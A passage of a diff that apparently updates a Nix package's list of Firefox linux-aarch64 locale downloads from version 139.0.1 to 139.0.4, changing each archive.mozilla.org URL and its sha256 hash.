-      sha256 = "04278af60b97a6c750e703d53015a14ed11ebf26676b5bd552fe1b6b3bff84fb";
+      sha256 = "ce62f2ed99700e205bdd7f33da5e1a449e08f978eaea2e589aef93fd4bffc6c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/da/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/da/firefox-139.0.4.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "00277462352dab6d60bfe047495fb548adce8e40caefce6701be9e1839aa334f";
+      sha256 = "4999f6e1ad62df71024aa60690adda3c61b71d0f45283a9d11a7d4145f861f65";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/de/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/de/firefox-139.0.4.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "b0f6d68f6527870dc54f54cb225e834a6a71db40aaa6641f9f2f89250c2b73b3";
+      sha256 = "68ae79e7e04bbf6aba7231887c0b3a3d3fd7d3183bfe41ad08b2443fddcd1002";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/dsb/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/dsb/firefox-139.0.4.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "613926660e11094dcf1babf2df6bddc337f35638695639d670acc6e9540fd8a2";
+      sha256 = "c1cff3c3535d70efbd0ac9bd3c68ed6c99b45a7b9ad7763f7a601fecbb032023";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/el/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/el/firefox-139.0.4.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "0ca8476d60fe31ca9d4f0b5f05d17759d11f22bf89b754f3400eab60d8e93b70";
+      sha256 = "d663076f5dc885d88c7be9c7305c81ceed9c47073c09e12d688c8353328cb83b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/en-CA/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/en-CA/firefox-139.0.4.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "718b869470d3bc01435d848ae065f5c7a97a44a663041098b7b06a6d3643089a";
+      sha256 = "ec8fc28141b1782c9f2e8ad4e8c727213e32183be318d2933f10858e008bba81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/en-GB/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/en-GB/firefox-139.0.4.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "a51f9b0a306f4f8c8511356fd147332759a1e3f0c9c8b2ccc0445560aca0f328";
+      sha256 = "b984c4ce0a6ef874a7fe8e36e447de0b60c06af95a90b965fd137dea01102bdb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/en-US/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/en-US/firefox-139.0.4.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "6a4c428377e8c85eb46ddbde007b39a6d37d221747a2229047120962c82f37de";
+      sha256 = "b59b346c9e671de73ffa4f5b5c72b98a91918849d31988c3251f8e91bdbb72b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/eo/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/eo/firefox-139.0.4.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "9a0a8b4a8dc9709ed520491dbdc02fdb45a9dc69d61e287bf0ad6f04b94e8809";
+      sha256 = "59785f561ae0f63bf9f93a02163c15bd26eb4a5d0c50a34a45cf239741370b61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/es-AR/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-AR/firefox-139.0.4.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "51063abc95c2c57dfbaa66a563d6a10564d754a884bd7b6467c2fc67a8be5a2a";
+      sha256 = "bef36861d98bb216e88a058bc59dec24d8e283ba0dc9bf7a5127953eb380bc0f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/es-CL/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-CL/firefox-139.0.4.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "2ecc8f18cd13425108fa587ae5e9094107ded80c731f307ed7422365ab61367c";
+      sha256 = "a12d5e40d9e5be9378f38be23a392b84ad0a834a1457f64b8764ebf8c005996a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/es-ES/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-ES/firefox-139.0.4.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "a40a69052beab8ca2ee1e01b349a74c32672096722793596a9232cc7cd652871";
+      sha256 = "4367810587bedae2ea641744068a9525dcdd5be0cea615797903c4c7e6ad55e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/es-MX/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-MX/firefox-139.0.4.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "ff0210e4f42ed95f849c3b915fe68f51436dc14d91c63b75284632a6e5d73276";
+      sha256 = "afb6b459940b41b2df8b548b7d7e11804ed3d9da414e5cbfe1bc44072b4ca276";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/et/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/et/firefox-139.0.4.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "a115c43c014edde78b856db25bf93b24c7ff8e3f9787c2be8d0471b15d48e918";
+      sha256 = "7d6958124f15eb18dca3bc54ed5e39716d3cf684adf46ba7d6e9572221f5d422";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/eu/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/eu/firefox-139.0.4.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "1a82fc1adfbc8c80d1f0544f4ac3bda1b4f980d88958b11a1398bdef922d415e";
+      sha256 = "7138126b3f15555cb03407820a409b756e37b33724b7aaaebde0c4044d84040a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/fa/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fa/firefox-139.0.4.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "2bb90ffb5517acac0f7b284f7205c00ff14c8dae2e64311553bd253d95e443ca";
+      sha256 = "76a0973988a103276071e610ee86f93a24ca25a7009bb19e6e088376a09896aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ff/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ff/firefox-139.0.4.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "3fa7ac442b9b1f1d63293048f96b6c0b5e4ddeecec92950b9139bf8cfdf1c16b";
+      sha256 = "b6e6d90c6bc697161d654ff6012441181c2d9865fd4cd1fc68de32ab774a976d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/fi/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fi/firefox-139.0.4.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "9bf83062f23fc1904d96c8ad988b49a30d8e36b9bec066630149810a93333a84";
+      sha256 = "123d5ed0791af1efc678ef66dbd5d32b2471778cca369db221b08357d334b4ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/fr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fr/firefox-139.0.4.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "4dca6bf03f58f2c665d7870584077ac9dbf9f047e2984a9656e914a48f4ca553";
+      sha256 = "0c42d4d1a2eabe8bd47ba98a07f17cd0b8d65b8095ee10fdb267776940fc67a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/fur/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fur/firefox-139.0.4.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "b2eea73524fff2ad2b539b77427c2e1299a0d9004b9913f96bfec5ae9da6cbb2";
+      sha256 = "b0226617fbccdb8eeb2ff725df50b7cc5abd3b3f5812950da35724a4ba05bd23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/fy-NL/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fy-NL/firefox-139.0.4.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "9d789b4e77350d81c40d6467dfaa1a6c492f20be3be6f186fb605ee20b17c750";
+      sha256 = "3258d3615d1f6ca53a401da36ec79f8c3fff806c4ab464267049c13c2bcebd70";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ga-IE/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ga-IE/firefox-139.0.4.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "4324b2237c06bf8d5aeab3fba62aaa47ab0323ce3f33bbe102e5608a83f13fc3";
+      sha256 = "150a762bf9250bee6cac653973d3de117d1742478ae38b19e27dd7b32d5433cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/gd/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gd/firefox-139.0.4.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "850c4f77adf3df46dbe4fecc5fce6f577a1be246a4877fd7d392873c885ec039";
+      sha256 = "a1c2964046d07c3e75aaa0c5fed25faaadeb035b07b7b58a2773992ec62aad5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/gl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gl/firefox-139.0.4.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "6b5dfd36f856d1ddc6bf0a0af30c71f3870dfd8db03ff37e3a1f70894d5ac5db";
+      sha256 = "8ed6a5d0f2e468be74ae1748fb06638ba6334c9a7ac67f7242c67d039ad6873a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/gn/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gn/firefox-139.0.4.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "a6796aa7b5b46a823c50bce5669189bf00399277388df37eb2c2a29df36c86b2";
+      sha256 = "fd2c91b162ce8f8061d33d0fa482454247c3a8e3586dd63bdea2661b4f7c715d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/gu-IN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gu-IN/firefox-139.0.4.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "191a2ef396c692cf27c6ee7c5c672eec98a117a33d53b770ac5351e1a8ec438e";
+      sha256 = "b2e606a4cac7109f532f755be363486a1d675b547ece41c909923b3da412eb5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/he/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/he/firefox-139.0.4.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "ec3b32a0311ea6cf0b9da4e0b7d14dce67774589d995e7aca3835d9c3e24add1";
+      sha256 = "7dcd61cb1a244dacf7baf2a62f5d6e2bc49cec1fde0ffc7016c8b1e07c899629";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/hi-IN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hi-IN/firefox-139.0.4.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "ef2bbded04e5b3b42733f15ca5c2421202ddf94e48ee36eddae8a1493038c295";
+      sha256 = "200769ad72f55a409325e3448e1101235c7e2bc79921c84cc9b490c6963e90ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/hr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hr/firefox-139.0.4.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "bc87681d0cdc994e510be535214e1bbaf202f02a275313ec9a60348fa9792c53";
+      sha256 = "0c9420f07e89e8521157086b813172328a5e16ae1d2bc7871ddba1bb0d17c5af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/hsb/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hsb/firefox-139.0.4.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "9ae4b3e4a97ea340f6437c34256570584179fa68a5b0f656250f0af06ee6d40b";
+      sha256 = "27ef785504bf2f8bf8c2cca9d64ba186bf524084808f95eb4f8ec32f341560ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/hu/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hu/firefox-139.0.4.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "3624d215ec23105d4bbb983bd0630757417688e9260e63ff0e6f3d12d040c686";
+      sha256 = "f3ca60ad21b7018ba81a49169b1facce8fd60ba02865315bae43ceb03515e0fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/hy-AM/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hy-AM/firefox-139.0.4.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "cb0a376c8d87e465f02bc8a9b395b1224fb0cb11b2f8ebebfcf97e32f1bf09b3";
+      sha256 = "31ccd33e188417a6e70b8175a75e3ff74121b8d2b34129d18513813a93f8cbc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ia/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ia/firefox-139.0.4.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "efe2d4ecb334babf3c63a902b6ca160344927fcc6e6aa5eea6b33c7ff0273206";
+      sha256 = "801c272c3103376127f8d42580b72c4122e8393390d9131ab8a3a0407fcf3361";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/id/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/id/firefox-139.0.4.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "109237a734baad5d45b797a92c61f34c30b5e81f340460b92db1f564bc1e4f71";
+      sha256 = "ec6b300a7a8a56f53d073dd2701ebd09e1e1135a9d1c172608a3ea5e5a547f62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/is/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/is/firefox-139.0.4.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "76bd307c03e68a05ab686dd83858078f1def8595dcac73eb4f522dc0ff58ccda";
+      sha256 = "35a509b08306b57a9070afba7af4d84d4b4cbc9d3134d7a404fd6e868540a7e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/it/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/it/firefox-139.0.4.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "114438d75d29f45e39e16d9b6e8808952d3cd4678777406fd8981ee70fcc8532";
+      sha256 = "3ae8722ad53868202863eb5d7aa9dbf374a0976f56d91af64592c4f36ec931ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ja/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ja/firefox-139.0.4.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "9e0d336535866b6ce29fcc134482c880a1f0df3b474f0988504b60ab5dde052b";
+      sha256 = "53bbccb2da46849c7b3c213eceb17464fa51ed6c17da52428005d7cdc82f3b9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ka/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ka/firefox-139.0.4.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "9f686044f1f2c173f83f88f80325d355b7ee9885aa1d8743c286553992e1a7af";
+      sha256 = "ef111ba916afc60e16e3ccaf098d7e990d24224b72b4128d583de1f6df678d19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/kab/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/kab/firefox-139.0.4.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "4f9649531b1836015c9dce5e86f817aa0001f6d691df78cbad9f81edfc386808";
+      sha256 = "c45c8fb00c6466eaba03d85f76af53e5fa31adadeb77cc0f05508cabf933164a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/kk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/kk/firefox-139.0.4.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "100131428d318c5f8ae7a19881c267575bec9656bc33f9c7417ea1120aee558e";
+      sha256 = "429007e329666ceb00f9cf94742ce821d8b99f2dfab224a32b73390652aa12e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/km/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/km/firefox-139.0.4.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "b6d9cf24f5f1cc74e2278fc6069d4b9569b042b0b7db7d7ee6935caf9d124805";
+      sha256 = "5afb548f21199ac57e14a980d900cca7c660815e2929b25b87d772bfdb238ecb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/kn/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/kn/firefox-139.0.4.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "328c4024b60ff402e8a2e77f6d1724054d43d35cef6e44b19a7cde383a76f966";
+      sha256 = "b1d8c9c0c116e0f5dd9f666e78c3a4036cb99b9e3c0c790214495a315a2fbfed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ko/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ko/firefox-139.0.4.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "db2aa3ce35f8045153480a3f507d7bc124408aa8a8bf3734e5ad33b7afc5a1c8";
+      sha256 = "1c17fe426a94ec40b6f8e9e66d47ff8dac8ce5aab84ce6a41c38949dd2598643";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/lij/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/lij/firefox-139.0.4.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "41696a7cbe1cbf94c0f33cba8366863aad48b6fe2415bb178f3b01eb9eac8394";
+      sha256 = "3b7f171db231c0033df14ee114a515d76240e6b4e09ef17830742db184618b19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/lt/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/lt/firefox-139.0.4.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "ea3c0ef8b19a850497e2c5d41ee94f09c508c3f4eb4755d068b00ddaeb368368";
+      sha256 = "5fcb5b1319faa335e49019722c28dd2056694d00c4e75c6d2ac069c6a23766e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/lv/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/lv/firefox-139.0.4.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "13335c41ea5a46ac4667244ba050f9cf0d057cfc6ea31dba2b9310b5a5a6788e";
+      sha256 = "22694a5bc3a735208bb88e37daf713cef9c96bb82c131f9adb5f45e67755657c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/mk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/mk/firefox-139.0.4.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "13e8b822b64c3b963e02c230ba0a8085dcab4b5dbd264e857cb7b4ab95205223";
+      sha256 = "6b7ca8e14e8562d81a4d290d2bde8ee18b5980d9cb98558053f49c1543e74b41";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/mr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/mr/firefox-139.0.4.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "c2343b4852519d34d31d883b4f57c4afb464cc345381fa06b8e2f7fb26de1912";
+      sha256 = "285287a5a5b0e47f1247a36d180abdb85100e81a674b886f1ff82455569c43ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ms/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ms/firefox-139.0.4.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "79654737a2a69aed9fe520b7768e403ff4bfe0efa1e362dba7531720245388aa";
+      sha256 = "1da9d48c54528cdfd9a8a9182f53331450afff64bb3a8ef6333bc0531feaef16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/my/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/my/firefox-139.0.4.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "bb1d2b4fc6c4f2bbdc14b37a1b7e92a730bd17355b724f5edd5f977afa7ac061";
+      sha256 = "cf4147013aa446ff5a35428210d857e8709c1843f050c1f7bb1e7bb7e4020d8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/nb-NO/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/nb-NO/firefox-139.0.4.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "b5d2bc8f1c431b08774e2852c0b1228ec448b2107ce5c85bb4abcd20a25778d7";
+      sha256 = "bee86e15e1d93fd0713d18538069ca55c07604633dd5307786eb89bc0d958edf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ne-NP/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ne-NP/firefox-139.0.4.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "45760e6e2bba448ac04b63a73e2f492e1dc5f6a7d22a1dfe8d9ffc6e8794549a";
+      sha256 = "84124164fe4db505a9e2b4d35c9f7dfd335438bb81f758c8ac0cdbe66ef4189f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/nl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/nl/firefox-139.0.4.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "83a7f0c060f1842e608f95f18a6d7ca2b951212f98b965acb9724d7dd3c21330";
+      sha256 = "f0b4f0e0c303cf5b81004813a8e43e6a3bc8ca3a1f1e683e951dc1fec6cfa947";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/nn-NO/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/nn-NO/firefox-139.0.4.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "1146bfa012bc1188c73cf80d04ea7702283e0b2064da99f5cd4dc901e5b7eac7";
+      sha256 = "936a6d960143b2f573581fac753c8e0687f0f18080283b10d1ac122e069afcc7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/oc/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/oc/firefox-139.0.4.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "ac0ee08ce254108259c16639dc42fe55571ef801d4968b7fea9c7e5c719f0b2b";
+      sha256 = "ee733c11d6748f89620546b60dd6e364b055ffdbb7834275b4c2a224b44a1d79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/pa-IN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pa-IN/firefox-139.0.4.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "3f0028e6ee7952504544772b47d9e2058298df8fc89cbf4cb7aa6c11cd56be75";
+      sha256 = "2807b091028c94b92171cd3369325357dca07549224d5484a761fb996966d70c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/pl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pl/firefox-139.0.4.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "da7fb11ea9d808f1b7458f21302d25cfbb3e86cf9c4bf71808db121af291741b";
+      sha256 = "2ad1f24700bada087409929ad541f213f25dba9065dff152521f760a6ce03573";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/pt-BR/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pt-BR/firefox-139.0.4.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "bf21f9fb4ac6f5db2e934b82024e1c4a92336e05390e715c545cf7345d2dbb38";
+      sha256 = "1555a9dfecbb351ac2c4f83c20c61730e4939f06fbd1335f5a117e35d3baeda2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/pt-PT/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pt-PT/firefox-139.0.4.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "8799b56f3fad06219f7f08f6e3ddd0ae058fc036d8fb17694eb1bd5d467e6448";
